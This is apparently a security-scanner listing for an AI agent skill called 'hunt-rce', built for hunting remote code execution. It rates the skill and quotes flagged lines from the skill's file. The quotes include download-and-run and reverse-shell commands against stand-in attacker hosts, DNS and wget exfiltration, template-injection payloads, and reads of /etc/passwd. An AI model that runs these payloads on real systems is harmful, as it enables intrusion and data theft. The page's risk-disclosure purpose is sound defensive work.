hunt-rce

79 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.

By elementalsouls/Claude-BugHunter (GitHub) · security · 5,515 stars · scanned at commit d5dcc53

Hunting skill for rce vulnerabilities. Built from 67 public bug bounty reports. Use when hunting rce on any target.

Works with any agent that supports SKILL.md skills.

What this skill can do

Sends data to these websites: target, $(id, attacker.com, attacker

This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.

Found in 10 places.

skills/hunt-rce/SKILL.md, line 76fetch('/api/exec', {method:'POST', body: cmd})
skills/hunt-rce/SKILL.md, line 147curl -sI http://target/ | grep -i "Server:"
skills/hunt-rce/SKILL.md, line 173- Confirm with `curl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test"` → returns `TEST`

Show 7 more

skills/hunt-rce/SKILL.md, line 178curl -X POST http://target:8080/functionRouter \
skills/hunt-rce/SKILL.md, line 220curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
skills/hunt-rce/SKILL.md, line 228curl "http://$(id | base64).YOUR-INTERACTSH-URL/"
skills/hunt-rce/SKILL.md, line 230wget http://attacker.com/$(cat /etc/hostname)
skills/hunt-rce/SKILL.md, line 238* * * * * root curl http://attacker.com/shell | bash
skills/hunt-rce/SKILL.md, line 252curl -sLO http://target:8080/jnlpJars/jenkins-cli.jar
skills/hunt-rce/SKILL.md, line 437- **C.** Stack a query: `'; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; --` → Postgres shells out to `/bin/sh -c <attacker command>` → RCE as `p

Runs commands on your computer

This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.

Found in 17 places.

skills/hunt-rce/SKILL.md, line 130{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
skills/hunt-rce/SKILL.md, line 147curl -sI http://target/ | grep -i "Server:"
skills/hunt-rce/SKILL.md, line 154curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

Show 14 more

skills/hunt-rce/SKILL.md, line 160curl --path-as-is -X POST \
skills/hunt-rce/SKILL.md, line 178curl -X POST http://target:8080/functionRouter \
skills/hunt-rce/SKILL.md, line 206grep -r '"name"' node_modules/ | grep '@internal\|@company\|@private'
skills/hunt-rce/SKILL.md, line 220curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
skills/hunt-rce/SKILL.md, line 228curl "http://$(id | base64).YOUR-INTERACTSH-URL/"
skills/hunt-rce/SKILL.md, line 252curl -sLO http://target:8080/jnlpJars/jenkins-cli.jar
skills/hunt-rce/SKILL.md, line 283grep -rn "exec\|system\|popen\|spawn\|eval\|subprocess" --include="*.rb" .
skills/hunt-rce/SKILL.md, line 327cat${IFS}/etc/passwd
skills/hunt-rce/SKILL.md, line 377{% for x in range(1) %}{{ lipsum.__globals__.os.popen('id').read() }}{% endfor %}
skills/hunt-rce/SKILL.md, line 379{{ lipsum.__globals__.os.popen('nslookup $(id).attacker.com').read() }}
skills/hunt-rce/SKILL.md, line 437- **C.** Stack a query: `'; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; --` → Postgres shells out to `/bin/sh -c <attacker command>` → RCE as `p
skills/hunt-rce/SKILL.md, line 449### Chain 4 — Prototype Pollution + Lodash/Mongoose Gadget Chain → `child_process.spawn` → Node RCE
skills/hunt-rce/SKILL.md, line 452- **B.** Pollute `Object.prototype.shell` to `true` OR `Object.prototype.env.NODE_OPTIONS` to `--require ./malicious.js`. The polluted prototype reaches a downs
skills/hunt-rce/SKILL.md, line 489- **`hunt-ssti`** — Template engines that hit `eval()`/`exec()`/`os.system()` are RCE hiding behind a render call. Chain primitive: Jinja2 `{{config.__class__._

Downloads and installs other software

The author does not mention this.

Found in 2 places.

skills/hunt-rce/SKILL.md, line 238* * * * * root curl http://attacker.com/shell | bash
skills/hunt-rce/SKILL.md, line 437- **C.** Stack a query: `'; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; --` → Postgres shells out to `/bin/sh -c <attacker command>` → RCE as `p

Safer alternatives

Low-risk skills in the same category (security) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'hunt-rce' ] || [ -L ~/.agents/skills/'hunt-rce' ]; then echo 'A skill folder named hunt-rce already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/elementalsouls/Claude-BugHunter' "$d" && git -C "$d" checkout --quiet 'd5dcc5347675ed431488e0a0e46749e4918aa194' -- 'skills/hunt-rce' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/hunt-rce' ~/.agents/skills/'hunt-rce' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'hunt-rce' ~/.claude/skills/'hunt-rce' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for elementalsouls/Claude-BugHunter shows the score of its lowest-scoring skill.

SkillTrust badge for elementalsouls/Claude-BugHunter

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/elementalsouls/Claude-BugHunter.svg)](https://zalavijaysinh.github.io/skilltrust/repos/elementalsouls/Claude-BugHunter/)

Score history

Date	Version	Score
2026-11-10	`d5dcc53`	79
2026-11-08	`42a3ab1`	79
2026-11-06	`3e71af0`	79